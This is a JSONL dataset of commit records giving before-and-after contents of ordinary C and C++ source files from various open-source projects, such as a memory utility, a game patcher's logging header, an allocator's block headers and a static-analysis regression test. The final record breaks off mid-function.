{"commit":"a998d0fcb5626b90c4b2cc92a25982b5407eba03","old_file":"free.h","new_file":"free.h","old_contents":"\/*\n * free.h\n * Memory usage utility for Darwin & MacOS X (similar to 'free' under Linux)\n *\n * by:  David Cantrell <david.l.cantrell@gmail.com>\n * Copyright (C) 2008, David Cantrell, Honolulu, HI, USA.\n *\n * Licensed under the GNU Lesser General Public License version 2.1 or later.\n * See COPYING.LIB for licensing details.\n *\/\n\n#define FREE_USAGE \"Usage: %s [-b|-k|-m] [-s delay] [-V] [-h|-?]\\n\"\n#define COMBINED_UNIT_OPTIONS \"You may only use one of the unit options:  -b, -k, or -m\\n\"\n\nenum { BYTES, KILOBYTES, MEGABYTES };\n\ntypedef struct mem {\n    uint64_t total;\n    uint64_t used;\n    uint64_t free;\n    uint64_t active;\n    uint64_t inactive;\n    uint64_t wired;\n} mem_t;\n","new_contents":"\/*\n * free.h\n * Memory usage utility for Darwin & MacOS X (similar to 'free' under Linux)\n *\n * by:  David Cantrell <david.l.cantrell@gmail.com>\n * Copyright (C) 2008, David Cantrell, Honolulu, HI, USA.\n *\n * Licensed under the GNU Lesser General Public License version 2.1 or later.\n * See COPYING.LIB for licensing details.\n *\/\n\n#define FREE_USAGE \"Usage: %s [-b|-k|-m] [-s delay] [-V] [-h|-?]\\n\"\n#define COMBINED_UNIT_OPTIONS \"You may only use one of the unit options:  -b, -k, or -m\\n\"\n\nenum { UNUSED_UNIT, BYTES, KILOBYTES, MEGABYTES };\n\ntypedef struct mem {\n    uint64_t total;\n    uint64_t used;\n    uint64_t free;\n    uint64_t active;\n    uint64_t inactive;\n    uint64_t wired;\n} mem_t;\n","subject":"Make sure used unit constants are non-zero","message":"Make sure used unit constants are non-zero\n","lang":"C","license":"lgpl-2.1","repos":"dcantrell\/darwin-free"}
{"commit":"47bf9fbde1fffc46171cdf225dbd685a5e0a7526","old_file":"gtksourceview2.h","new_file":"gtksourceview2.h","old_contents":"#include \"gtk2hs_macros.h\"\n#include <gtksourceview\/gtksourcebuffer.h>\n#if GTK_MAJOR_VERSION < 3\n#include <gtksourceview\/gtksourceiter.h>\n#endif\n#include <gtksourceview\/gtksourcelanguage.h>\n#include <gtksourceview\/gtksourcelanguagemanager.h>\n#include <gtksourceview\/gtksourcestyle.h>\n#include <gtksourceview\/gtksourcestylescheme.h>\n#include <gtksourceview\/gtksourcestyleschememanager.h>\n#include <gtksourceview\/gtksourceview.h>\n#include <gtksourceview\/gtksourceview-typebuiltins.h>\n#include <gtksourceview\/gtksourceundomanager.h>\n#include <gtksourceview\/gtksourcecompletionitem.h>\n#include <gtksourceview\/gtksourcegutter.h>\n#include <gtksourceview\/gtksourcecompletionprovider.h>\n#include <gtksourceview\/gtksourcecompletionproposal.h>\n#include <gtksourceview\/gtksourcemark.h>\n#include <gtksourceview\/gtksourcecompletioninfo.h>\n","new_contents":"#ifdef __BLOCKS__\n#undef __BLOCKS__\n#endif\n#include \"gtk2hs_macros.h\"\n#include <gtksourceview\/gtksourcebuffer.h>\n#if GTK_MAJOR_VERSION < 3\n#include <gtksourceview\/gtksourceiter.h>\n#endif\n#include <gtksourceview\/gtksourcelanguage.h>\n#include <gtksourceview\/gtksourcelanguagemanager.h>\n#include <gtksourceview\/gtksourcestyle.h>\n#include <gtksourceview\/gtksourcestylescheme.h>\n#include <gtksourceview\/gtksourcestyleschememanager.h>\n#include <gtksourceview\/gtksourceview.h>\n#include <gtksourceview\/gtksourceview-typebuiltins.h>\n#include <gtksourceview\/gtksourceundomanager.h>\n#include <gtksourceview\/gtksourcecompletionitem.h>\n#include <gtksourceview\/gtksourcegutter.h>\n#include <gtksourceview\/gtksourcecompletionprovider.h>\n#include <gtksourceview\/gtksourcecompletionproposal.h>\n#include <gtksourceview\/gtksourcemark.h>\n#include <gtksourceview\/gtksourcecompletioninfo.h>\n","subject":"Fix CPP issue on OS X","message":"Fix CPP issue on OS X\n","lang":"C","license":"lgpl-2.1","repos":"gtk2hs\/gtksourceview,gtk2hs\/gtksourceview"}
{"commit":"504d69fb848c13a69d7747f85f541b3ac3cf8019","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.47f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.48f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increase version to 1.48 in preparation for new release","message":"Increase version to 1.48 in preparation for new release\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW,mwinterb\/UIforETW,google\/UIforETW"}
{"commit":"e92d5f3a593c656cc6b10f4a3a904a8121efb56e","old_file":"Binary_Tree_Maximum_Path_Sum.c","new_file":"Binary_Tree_Maximum_Path_Sum.c","old_contents":"","new_contents":"\/**\n * Definition for a binary tree node.\n * struct TreeNode {\n *     int val;\n *     struct TreeNode *left;\n *     struct TreeNode *right;\n * };\n *\/\nint max_v(int a, int b) {\n    return a > b ? a : b;\n}\nint max_value;\n\nint DFS(struct TreeNode* root) {\n    int left_sum, right_sum;\n    int sum;\n    \n    if (root == NULL)\n        return 0;\n    \n    left_sum = max_v(0, DFS(root->left));\n    right_sum= max_v(0, DFS(root->right));\n    sum = left_sum + right_sum + root->val;\/\/a path.\n    \n    max_value = max_v(sum, max_value);\n    \n    return max_v(left_sum, right_sum) + root->val;\/\/return one max path.\n}\n\nint maxPathSum(struct TreeNode* root) {\n    if (root == NULL)\n        return 0;\n        \n    max_value = -999999999;\n    DFS(root);\n    return max_value;\n}","subject":"Create Binary Tree Maximum Path Sum.c","message":"Create Binary Tree Maximum Path Sum.c\n","lang":"C","license":"mit","repos":"fanyingming\/leetcode,fanyingming\/leetcode"}
{"commit":"ce2df60e506865768215d05489c5a52cbb6febcb","old_file":"Classes\/JLNRGravityImageView.h","new_file":"Classes\/JLNRGravityImageView.h","old_contents":"\/\/\n\/\/  JLNRGravityImageView.h\n\/\/  JLNRGravityImageViewExample\n\/\/\n\/\/  Created by Julian Raschke on 17.02.15.\n\/\/  Copyright (c) 2015 Julian Raschke. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\nIB_DESIGNABLE\n@interface JLNRGravityImageView : UIImageView\n\n@property (nonatomic) IBInspectable BOOL alignTop;\n@property (nonatomic) IBInspectable BOOL alignBottom;\n@property (nonatomic) IBInspectable BOOL alignLeft;\n@property (nonatomic) IBInspectable BOOL alignRight;\n\n@end\n","new_contents":"\/\/\n\/\/  JLNRGravityImageView.h\n\/\/  JLNRGravityImageViewExample\n\/\/\n\/\/  Created by Julian Raschke on 17.02.15.\n\/\/  Copyright (c) 2015 Julian Raschke. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\n\/\/ IB_DESIGNABLE does not work by default with CocoaPods:\n\/\/ https:\/\/github.com\/CocoaPods\/CocoaPods\/issues\/2792\n#ifndef COCOAPODS\nIB_DESIGNABLE\n#endif\n@interface JLNRGravityImageView : UIImageView\n\n@property (nonatomic) IBInspectable BOOL alignTop;\n@property (nonatomic) IBInspectable BOOL alignBottom;\n@property (nonatomic) IBInspectable BOOL alignLeft;\n@property (nonatomic) IBInspectable BOOL alignRight;\n\n@end\n","subject":"Disable IB_DESIGNABLE when using CocoaPods","message":"Disable IB_DESIGNABLE when using CocoaPods\n","lang":"C","license":"mit","repos":"jlnr\/JLNRGravityImageView,lurado\/LDOAlignedImageView"}
{"commit":"526b09b014c8219cfe3747170c6021fe92fb65d5","old_file":"firmware\/lm32\/config.h","new_file":"firmware\/lm32\/config.h","old_contents":"#ifndef __CONFIG_H\n#define __CONFIG_H\n\nenum {\n\tCONFIG_KEY_RESOLUTION = 0,\n\tCONFIG_KEY_BLEND_USER1,\n\tCONFIG_KEY_BLEND_USER2,\n\tCONFIG_KEY_BLEND_USER3,\n\tCONFIG_KEY_BLEND_USER4,\n\n\tCONFIG_KEY_COUNT\n};\n\n#define CONFIG_DEFAULTS { 9, 1, 2, 3, 4 }\n\nvoid config_init(void);\nvoid config_write_all(void);\nunsigned char config_get(unsigned char key);\nvoid config_set(unsigned char key, unsigned char value);\n\n#endif \/* __CONFIG_H *\/\n","new_contents":"#ifndef __CONFIG_H\n#define __CONFIG_H\n\nenum {\n\tCONFIG_KEY_RESOLUTION = 0,\n\tCONFIG_KEY_BLEND_USER1,\n\tCONFIG_KEY_BLEND_USER2,\n\tCONFIG_KEY_BLEND_USER3,\n\tCONFIG_KEY_BLEND_USER4,\n\n\tCONFIG_KEY_COUNT\n};\n\n#ifdef BOARD_MINISPARTAN6\n#define CONFIG_DEFAULTS { 5, 1, 2, 3, 4 }\n#else\n#define CONFIG_DEFAULTS { 9, 1, 2, 3, 4 }\n#endif\n\nvoid config_init(void);\nvoid config_write_all(void);\nunsigned char config_get(unsigned char key);\nvoid config_set(unsigned char key, unsigned char value);\n\n#endif \/* __CONFIG_H *\/\n","subject":"Make 800x600 the default mode for the minispartan6+","message":"firmware\/lm32: Make 800x600 the default mode for the minispartan6+\n","lang":"C","license":"bsd-2-clause","repos":"mithro\/HDMI2USB-litex-firmware,mithro\/HDMI2USB-litex-firmware,cr1901\/HDMI2USB-litex-firmware,cr1901\/HDMI2USB-litex-firmware,mithro\/HDMI2USB-litex-firmware,cr1901\/HDMI2USB-litex-firmware,cr1901\/HDMI2USB-litex-firmware,mithro\/HDMI2USB-litex-firmware"}
{"commit":"9603de4489d4fb7b057e55402080544db0d75d99","old_file":"src\/lang-dutch.c","new_file":"src\/lang-dutch.c","old_contents":"#include \"num2words.h\"\n\n\/\/ Language strings for Dutch\nconst Language LANG_DUTCH = {\n\t.hours = {\n\t\t\"een\",\n\t\t\"twee\",\n\t\t\"drie\",\n\t\t\"vier\",\n\t\t\"vijf\",\n\t\t\"zes\",\n\t\t\"zeven\",\n\t\t\"acht\",\n\t\t\"negen\",\n\t\t\"tien\",\n\t\t\"elf\",\n\t\t\"twaalf\"\n\t},\n\n\t.phrases = {\n\t\t\"*$1 uur \",\n\t\t\"vijf over *$1 \",\n\t\t\"tien over *$1 \",\n\t\t\"kwart over *$1 \",\n\t\t\"tien voor half *$2 \",\n\t\t\"vijf voor half *$2 \",\n\t\t\"half *$2 \",\n\t\t\"vijf over half *$2 \",\n\t\t\"tien over half *$2 \",\n\t\t\"kwart voor *$2 \",\n\t\t\"tien voor *$2 \",\n\t\t\"vijf voor *$2 \"\n\t},\n\n#ifdef PBL_PLATFORM_CHALK\n\t.greetings = {\n\t\t\"Goede- morgen \",\n\t\t\"Goede- middag \",\n\t\t\"Goede- avond \",\n\t\t\"Goede- nacht \"\n\t},\n#else\n\t.greetings = {\n\t\t\"Goede- mor- gen \",\n\t\t\"Goede- middag \",\n\t\t\"Goede- avond \",\n\t\t\"Goede- nacht \"\n\t},\n#endif\n\t.connection_lost = \"Waar  is je tele- foon? \"\n};\n","new_contents":"#include \"num2words.h\"\n\n\/\/ Language strings for Dutch\nconst Language LANG_DUTCH = {\n\t.hours = {\n\t\t\"een\",\n\t\t\"twee\",\n\t\t\"drie\",\n\t\t\"vier\",\n\t\t\"vijf\",\n\t\t\"zes\",\n\t\t\"zeven\",\n\t\t\"acht\",\n\t\t\"negen\",\n\t\t\"tien\",\n\t\t\"elf\",\n\t\t\"twaalf\"\n\t},\n\n\t.phrases = {\n\t\t\"*$1 uur \",\n\t\t\"vijf over *$1 \",\n\t\t\"tien over *$1 \",\n\t\t\"kwart over *$1 \",\n\t\t\"tien voor half *$2 \",\n\t\t\"vijf voor half *$2 \",\n\t\t\"half *$2 \",\n\t\t\"vijf over half *$2 \",\n\t\t\"tien over half *$2 \",\n\t\t\"kwart voor *$2 \",\n\t\t\"tien voor *$2 \",\n\t\t\"vijf voor *$2 \"\n\t},\n\n#ifdef PBL_PLATFORM_CHALK\n\t.greetings = {\n\t\t\"Goede morgen \",\n\t\t\"Goede middag \",\n\t\t\"Goede avond \",\n\t\t\"Goede nacht \"\n\t},\n#else\n\t.greetings = {\n\t\t\"Goede mor- gen \",\n\t\t\"Goede middag \",\n\t\t\"Goede avond \",\n\t\t\"Goede nacht \"\n\t},\n#endif\n\t.connection_lost = \"Waar  is je tele- foon? \"\n};\n","subject":"Remove hyphens from dutch greetings as per recommendation from @eddyh","message":"Remove hyphens from dutch greetings as per recommendation from @eddyh\n","lang":"C","license":"mit","repos":"Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Fuzzy-Text-Watch-Plus"}
{"commit":"d496a2cb613d41095a25d1f8a8cf73fac2dd55b3","old_file":"ouzel\/Settings.h","new_file":"ouzel\/Settings.h","old_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include \"CompileConfig.h\"\n\nnamespace ouzel\n{\n    struct Settings\n    {\n        video::Renderer::Driver driver =\n#if defined(OUZEL_PLATFORM_OSX) || defined(OUZEL_PLATFORM_IOS) || defined(OUZEL_PLATFORM_TVOS) || defined(OUZEL_PLATFORM_ANDROID) || defined(OUZEL_PLATFORM_LINUX)\n        video::Renderer::Driver::OPENGL;\n#elif defined(SUPPORTS_DIRECT3D11)\n        video::Renderer::Driver::DIRECT3D11;\n#endif\n\n        Size2 size;\n        bool resizable = false;\n        bool fullscreen = false;\n        float targetFPS = 60.0f;\n        std::string title = \"ouzel\";\n    };\n}\n","new_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include \"CompileConfig.h\"\n\nnamespace ouzel\n{\n    struct Settings\n    {\n        video::Renderer::Driver driver =\n#if defined(OUZEL_PLATFORM_OSX) || defined(OUZEL_PLATFORM_IOS) || defined(OUZEL_PLATFORM_TVOS) || defined(OUZEL_PLATFORM_ANDROID) || defined(OUZEL_PLATFORM_LINUX)\n        video::Renderer::Driver::OPENGL;\n#elif defined(SUPPORTS_DIRECT3D11)\n        video::Renderer::Driver::DIRECT3D11;\n#endif\n\n        Size2 size;\n        uint32_t sampleCount = 1; \/\/ MSAA sample count\n        bool resizable = false;\n        bool fullscreen = false;\n        float targetFPS = 60.0f;\n        std::string title = \"ouzel\";\n    };\n}\n","subject":"Add setting for MSAA sample count","message":"Add setting for MSAA sample count\n","lang":"C","license":"unlicense","repos":"elvman\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elvman\/ouzel"}
{"commit":"c03ade8e87b3848bbb1d30d6e8a09633fbe22a7c","old_file":"thcrap\/src\/log.h","new_file":"thcrap\/src\/log.h","old_contents":"\/**\n  * Touhou Community Reliant Automatic Patcher\n  * Main DLL\n  *\n  * ----\n  *\n  * Logging functions.\n  * Log to both a file and, if requested, an on-screen console.\n  *\n  * As of now, we do not enforce char strings to be in UTF-8.\n  *\/\n\n#pragma once\n\n\/\/\/ ---------------\n\/\/\/ Standard output\n\/\/\/ ---------------\n\/\/ Basic\nvoid log_print(const char *text);\n\/\/ Specific length\nvoid log_nprint(const char *text, size_t n);\n\/\/ Formatted\nvoid log_vprintf(const char *text, va_list va);\nvoid log_printf(const char *text, ...);\n\n#define log_func_printf(text, ...) \\\n\tlog_printf(\"[\"__FUNCTION__\"]: \"##text, __VA_ARGS__)\n\/\/\/ ---------------\n\n\/\/\/ -------------\n\/\/\/ Message boxes\n\/\/ Technically not a \"logging function\", but hey, it has variable arguments.\n\/\/\/ -------------\n\/\/ Basic\nint log_mbox(const char *caption, const UINT type, const char *text);\n\/\/ Formatted\nint log_vmboxf(const char *caption, const UINT type, const char *text, va_list va);\nint log_mboxf(const char *caption, const UINT type, const char *text, ...);\n\/\/\/ -------------\n\nvoid log_init(int console);\nvoid log_exit(void);\n","new_contents":"\/**\n  * Touhou Community Reliant Automatic Patcher\n  * Main DLL\n  *\n  * ----\n  *\n  * Logging functions.\n  * Log to both a file and, if requested, an on-screen console.\n  *\n  * As of now, we do not enforce char strings to be in UTF-8.\n  *\/\n\n#pragma once\n\n\/\/\/ ---------------\n\/\/\/ Standard output\n\/\/\/ ---------------\n\/\/ Basic\nvoid log_print(const char *text);\n\/\/ Specific length\nvoid log_nprint(const char *text, size_t n);\n\/\/ Formatted\nvoid log_vprintf(const char *text, va_list va);\nvoid log_printf(const char *text, ...);\n\n#ifdef _MSC_VER\n# define log_func_printf(text, ...) \\\n\tlog_printf(\"[\"__FUNCTION__\"]: \"text, __VA_ARGS__)\n#else\n# define log_func_printf(text, ...) \\\n\tlog_printf(\"[%s]: \"text, __func__, ##__VA_ARGS__)\n#endif\n\/\/\/ ---------------\n\n\/\/\/ -------------\n\/\/\/ Message boxes\n\/\/ Technically not a \"logging function\", but hey, it has variable arguments.\n\/\/\/ -------------\n\/\/ Basic\nint log_mbox(const char *caption, const UINT type, const char *text);\n\/\/ Formatted\nint log_vmboxf(const char *caption, const UINT type, const char *text, va_list va);\nint log_mboxf(const char *caption, const UINT type, const char *text, ...);\n\/\/\/ -------------\n\nvoid log_init(int console);\nvoid log_exit(void);\n","subject":"Use C99 __func__ instead of __FUNCTION__ when not compiling with Visual C++.","message":"Use C99 __func__ instead of __FUNCTION__ when not compiling with Visual C++.\n\nCouldn't they standardize __FUNCTION__ instead? A string literal that can be\nconcatenated with other string literals is much more flexible than a char[]\nvariable.\n","lang":"C","license":"unlicense","repos":"thpatch\/thcrap,thpatch\/thcrap,thpatch\/thcrap,thpatch\/thcrap,thpatch\/thcrap"}
{"commit":"c3a6cadc3df8702f1f195f6cda53f023dfe7e6ae","old_file":"robot_module.h","new_file":"robot_module.h","old_contents":"\/* \n * File:   robots.h\n * Author: m79lol\n *\n *\/\n\n#ifndef ROBOT_MODULE_H\n#define\tROBOT_MODULE_H\n\n#define ROBOT_COMMAND_FREE 0\n#define ROBOT_COMMAND_HAND_CONTROL_BEGIN -1\n#define ROBOT_COMMAND_HAND_CONTROL_END -2\n\nclass Robot {\n    protected:\n        Robot() {}\n    public: \n        virtual FunctionResult* executeFunction(regval command_index, regval *args) = 0;\n        virtual void axisControl(regval axis_index, regval value) = 0;\n        virtual ~Robot() {}\n};\n\nclass RobotModule {\n    protected:\n        RobotModule() {}\n    public: \n        virtual const char *getUID() = 0;\n        virtual int init() = 0;\n        virtual FunctionData** getFunctions(int *count_functions) = 0;\n        virtual AxisData** getAxis(int *count_axis) = 0;\n        virtual Robot* robotRequire() = 0;\n        virtual void robotFree(Robot *robot) = 0;\n        virtual void final() = 0;\n        virtual void destroy() = 0;\n        virtual ~RobotModule() {}\n};\n\ntypedef RobotModule* (*getRobotModuleObject_t)();\nextern \"C\" {\n    __declspec(dllexport) RobotModule* getRobotModuleObject();\n}\n\n#endif\t\/* ROBOT_MODULE_H *\/\n\n","new_contents":"\/* \n * File:   robots.h\n * Author: m79lol\n *\n *\/\n\n#ifndef ROBOT_MODULE_H\n#define\tROBOT_MODULE_H\n\n#define ROBOT_COMMAND_FREE 0\n#define ROBOT_COMMAND_HAND_CONTROL_BEGIN -1\n#define ROBOT_COMMAND_HAND_CONTROL_END -2\n\ntypedef std::function<void(unsigned short int, const char*, va_list)> t_printf_color_module;\n\nclass Robot {\n    protected:\n        Robot() {}\n    public: \n        virtual FunctionResult* executeFunction(regval command_index, regval *args) = 0;\n        virtual void axisControl(regval axis_index, regval value) = 0;\n        virtual ~Robot() {}\n};\n\nclass RobotModule {\n    protected:\n        RobotModule() {}\n    public: \n        virtual const char *getUID() = 0;\n        virtual void prepare(t_printf_color_module f_printf) = 0;\n        virtual int init() = 0;\n        virtual FunctionData** getFunctions(int *count_functions) = 0;\n        virtual AxisData** getAxis(int *count_axis) = 0;\n        virtual Robot* robotRequire() = 0;\n        virtual void robotFree(Robot *robot) = 0;\n        virtual void final() = 0;\n        virtual void destroy() = 0;\n        virtual ~RobotModule() {}\n};\n\ntypedef RobotModule* (*getRobotModuleObject_t)();\nextern \"C\" {\n    __declspec(dllexport) RobotModule* getRobotModuleObject();\n}\n\n#endif\t\/* ROBOT_MODULE_H *\/\n\n","subject":"Prepare function added for Robot modules.","message":"Prepare function added for Robot modules.\n","lang":"C","license":"apache-2.0","repos":"RobotControlTechnologies\/module_headers,iskinmike\/module_headers"}
{"commit":"01ccbd9b875b0ab9e21e8dca1501be249d13f451","old_file":"src\/block_header.h","new_file":"src\/block_header.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_BLOCK_HEADER_H_\n#define SCALLOC_BLOCK_HEADER_H_\n\n#include \"common.h\"\n#include \"freelist.h\"\n\nenum BlockType {\n  kSlab,\n  kLargeObject,\n  kForward\n};\n\nclass BlockHeader {\n public:\n  static BlockHeader* GetFromObject(void* p);\n\n  BlockType type;\n};\n\nclass ForwardHeader : public BlockHeader {\n public:\n  BlockHeader* forward;\n};\n\nclass SlabHeader : public BlockHeader {\n public:\n  \/\/ read-only properties\n\n  size_t size_class;\n  size_t remote_flist;\n\n  \/\/ mostly read properties\n\n  bool active;\n  size_t owner;\n\n  \/\/ thread-local read\/write properties\n\n  uint64_t in_use;\n  Freelist flist;\n} cache_aligned;\n\nclass LargeObjectHeader : public BlockHeader {\n public:\n  size_t size;\n\n  inline void Reset(size_t size) {\n    this->type = kLargeObject;\n    this->size = size;\n  }\n} cache_aligned;\n\nalways_inline BlockHeader* BlockHeader::GetFromObject(void* p) {\n  uintptr_t ptr = reinterpret_cast<uintptr_t>(p);\n  if (UNLIKELY(ptr % kSystemPageSize == 0)) {\n    BlockHeader* bh = reinterpret_cast<BlockHeader*>(ptr - kSystemPageSize);\n    if (bh->type == kForward) {\n      bh = reinterpret_cast<ForwardHeader*>(bh)->forward;\n    }\n  }\n  uintptr_t page_ptr = ptr & ~(kSystemPageSize - 1);\n  BlockHeader* bh = reinterpret_cast<BlockHeader*>(page_ptr);\n  switch (bh->type) {\n  case kForward:\n    return reinterpret_cast<ForwardHeader*>(bh)->forward;\n  case kSlab:\n  case kLargeObject:\n    return bh;\n  default:\n    ErrorOut(\"unknown block header. type: %d, ptr: %p, page_ptr: %p\",\n             bh->type, p, reinterpret_cast<void*>(page_ptr));\n  }\n  \/\/ unreachable...\n  return NULL;\n}\n\n#endif  \/\/ SCALLOC_BLOCK_HEADER_H_\n","subject":"Add definitions for block headers.","message":"Add definitions for block headers.\n\nSigned-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"dcabda08e5888edca40c1bd03265096fcda1a173","old_file":"tests\/regression\/36-octapron\/28-combine-forget-fun-lval-imprecise.c","new_file":"tests\/regression\/36-octapron\/28-combine-forget-fun-lval-imprecise.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nint f(int x) {\n  return x + 1;\n}\n\nint main(void) {\n  int y, z;\n\n  z = y;\n  y = f(y);\n\n  \/\/ local is: y == z\n  \/\/ fun is: #ret == x' + 1\n  \/\/ fun args subst (x' -> y) is: #ret == y + 1\n  \/\/ local forget y is: top\n  \/\/ fun forget y is: top\n  \/\/ fun subst (#ret -> y) is: top\n  \/\/ unify is: top\n\n  \/\/ WANT:\n  \/\/ local is: y == z\n  \/\/ fun is: #ret == x' + 1\n  \/\/ fun args subst (x' -> y) is: #ret == y + 1\n  \/\/ unify is: y == z && #ret == y + 1 (&& #ret == z + 1)\n  \/\/ assign (y = #ret) is:\n    \/\/ 1. y == z && #ret == y + 1 && y#new == #ret (&& #ret == z + 1 && y#new == z + 1)\n    \/\/ 2. y#new == #ret && #ret == z + 1 (&& y#new == z + 1)\n    \/\/ 3. y == #ret && #ret == z + 1 (&& y == z + 1)\n  \/\/ forget #ret is: y == z + 1\n\n  assert(y == z + 1); \/\/ TODO\n  return 0;\n}\n","subject":"Add test for octApron combine where forgetting lval is too imprecise","message":"Add test for octApron combine where forgetting lval is too imprecise\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"accec546d710228b9b2a5cc84557cde6624d7a89","old_file":"include\/tiramisu\/MainPage.h","new_file":"include\/tiramisu\/MainPage.h","old_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Documentation of the API if the Tiramisu Compiler\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: a function in Tiramisu is equivalent to a function in C. It is composed of multiple computations. Each computation is the equivalent of a statement in C.\n * - The \\ref tiramisu::input class: an input is used to represent inputs passed to Tiramisu.  An input can represent a buffer or a scalar.\n * - The \\ref tiramisu::constant class: a constant is designed to represent constants that are supposed to be declared at the beginning of a Tiramisu function.\n * - The \\ref tiramisu::computation class: a computation in Tiramisu is the equivalent of a statement in C. It is composed of an expression and an iteration domain.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n *\n *\/\n","new_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Documentation of the API if the Tiramisu Compiler\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: a function in Tiramisu is equivalent to a function in C. It is composed of multiple computations. Each computation is the equivalent of a statement in C.\n * - The \\ref tiramisu::input class: an input is used to represent inputs passed to Tiramisu.  An input can represent a buffer or a scalar.\n * - The \\ref tiramisu::constant class: a constant is designed to represent constants that are supposed to be declared at the beginning of a Tiramisu function.\n * - The \\ref tiramisu::var class: used to represent loop iterators. Usually we declare a var (a loop iterator) and then use it for the declaration of computations. The range of that variable defines the loop range. When use witha buffer it defines the buffer size and when used with an input it defines the input size.\n * - The \\ref tiramisu::computation class: a computation in Tiramisu is the equivalent of a statement in C. It is composed of an expression and an iteration domain.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n *\/\n","subject":"Fix the documentation main page","message":"Fix the documentation main page\n","lang":"C","license":"mit","repos":"rbaghdadi\/COLi,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/ISIR,rbaghdadi\/ISIR,rbaghdadi\/COLi"}
{"commit":"edee7c36a226e74f53d66b57a1907bb148799599","old_file":"targets\/TARGET_NUVOTON\/TARGET_NANO100\/device\/cmsis_nvic.c","new_file":"targets\/TARGET_NUVOTON\/TARGET_NANO100\/device\/cmsis_nvic.c","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"cmsis_nvic.h\"\n\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t vector)\n{\n    \/\/static volatile uint32_t *vectors = (uint32_t *) NVIC_RAM_VECTOR_ADDRESS;\n\n    \/\/ Put the vectors in SRAM\n    \/\/vectors[IRQn + 16] = vector;\n}\n\nuint32_t NVIC_GetVector(IRQn_Type IRQn)\n{\n    uint32_t *vectors = (uint32_t*) NVIC_FLASH_VECTOR_ADDRESS;\n\n    \/\/ Return the vector\n    return vectors[IRQn + 16];\n}\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"cmsis_nvic.h\"\n#include \"platform\/mbed_error.h\"\n\nvoid NVIC_SetVector(IRQn_Type IRQn, uint32_t 